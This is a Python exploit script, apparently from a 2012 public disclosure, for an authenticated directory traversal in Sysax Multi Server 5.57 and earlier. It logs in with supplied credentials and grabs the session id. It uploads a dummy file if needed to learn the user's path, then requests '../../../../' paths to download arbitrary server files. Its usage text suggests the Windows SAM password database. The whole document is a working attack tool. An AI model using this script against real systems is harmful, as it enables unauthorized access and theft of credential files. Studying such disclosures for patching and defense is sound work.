#!/usr/bin/python
##########################################################################################################
#Title: Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit
#Date Discovered: March 27, 2012
#Vendor Contacted: March 29, 2012
#Vendor Response: April 3, 2012
#Vendor Fixed: (Currently working on fix, check my site for update)
#Details: http://www.pwnag3.com/2012/04/sysax-directory-traversal-exploit.html
##########################################################################################################
import socket,sys,time,re,base64,urllib
def main():
#base64 encode the provided creds
creds = base64.encodestring(user+"\x0a"+password)
print "\n"
print "****************************************************************************"
print " Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth) "
print " by @cd1zz www.pwnag3.com "
print " Getting "+getfile+" from " + target + " on port " + str(port)
print "****************************************************************************"
#setup post for login
login = "POST /scgi?sid=0&pid=dologin HTTP/1.1\r\n"
login += "Host: \r\n"
login += "http://"+target+"/scgi?sid=0&pid=dologin\r\n"
login += "Content-Type: application/x-www-form-urlencoded\r\n"
login += "Content-Length: 15\r\n\r\n"
login += "fd="+creds+"\n\n"
#send post and login creds
try:
r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
r.connect((target, port))
print "[*] Logging in"
r.send(login)
except Exception, e:
print "[-] Could not login"
print e
#loop the recv sock so we get the full page
page = ''
fullpage = ''
while "</html>" not in fullpage:
page = r.recv(4096)
fullpage += page
time.sleep(1)
#regex the sid from the page
global sid
sid = re.search(r'sid=[a-zA-Z0-9]{40}',fullpage,re.M)
if sid is None:
print "[x] Could not login. User and pass correct?"
sys.exit(1)
time.sleep(1)
#regex to find user's path
print "[*] Finding your home path"
global path
path = re.search(r'file=[a-zA-Z]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
time.sleep(1)
#if that doesn't work, try to upload a file and check again
if path is None:
print "[-] No files found, I will try to upload one for you."
print "[-] If you don't have rights to do this, it will fail."
upload = "POST /scgi?"+str(sid.group(0))+"&pid=uploadfile_name1.htm HTTP/1.1\r\n"
upload += "Host:\r\n"
upload += "Content-Type: multipart/form-data; boundary=---------------------------97336096252362005297691620\r\n"
upload += "Content-Length: 219\r\n\r\n"
upload += "-----------------------------97336096252362005297691620\r\n"
upload += "Content-Disposition: form-data; name=\"upload_file\"; filename=\"file.txt\"\r\n"
upload += "Content-Type: text/plain\r\n"
upload += "-----------------------------97336096252362005297691620--\r\n\r\n"
u = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
u.connect((target, port))
u.send(upload + "\r\n")
page = ''
fullpage = ''
while "</html>" not in fullpage:
page = u.recv(4096)
fullpage += page
path = re.search(r'file=[a-zA-Z0-9]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
time.sleep(2)
if path is None:
print "\n[x] It failed, you probably don't have rights to upload."
print "[x] Please retry the script a few times."
print "[x] You need at least one file in the directory because we need"
print "[x] to append our directory traversal to the end of your path."
sys.exit(1)
print "[+] Got it => " + path.group(0)
time.sleep(1)
r.close()
def dirtrav():
#here is the dir trav
url = "http://"+target+"/scgi?"+str(sid.group(0))+"&"+path.group(0)+"../../../../../../../"+getfile
try:
retrieved_file = urllib.urlopen(url)
filename = raw_input("[+] Got your file. What file name do you want to save it as? ")
output = open(filename,'wb')
output.write(retrieved_file.read())
output.close()
print "[*] Done!"
except Exception, e:
print "[x] Either the file doesn't exist or you mistyped it. Error below:"
print "[x] You can also try to browse this site manually:"
print "[x] " + url
print e
def keepgoing():
cont = raw_input("[*] Do you want another file (y/n)? ")
while cont == "y":
global getfile
getfile = raw_input("[*] Enter the location of the new file: ")
dirtrav()
cont = raw_input("[*] Do you want another file (y/n)? ")
else:
sys.exit(1)
if __name__ == '__main__':
if len(sys.argv) != 6:
print "[+] Usage: ./filename <Target IP> <Port> <User> <Password> <File>"
print "[+] File examples => windows/repair/sam or boot.ini"
sys.exit(1)
target, port, user, password, getfile = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5]
main()
dirtrav()
keepgoing()
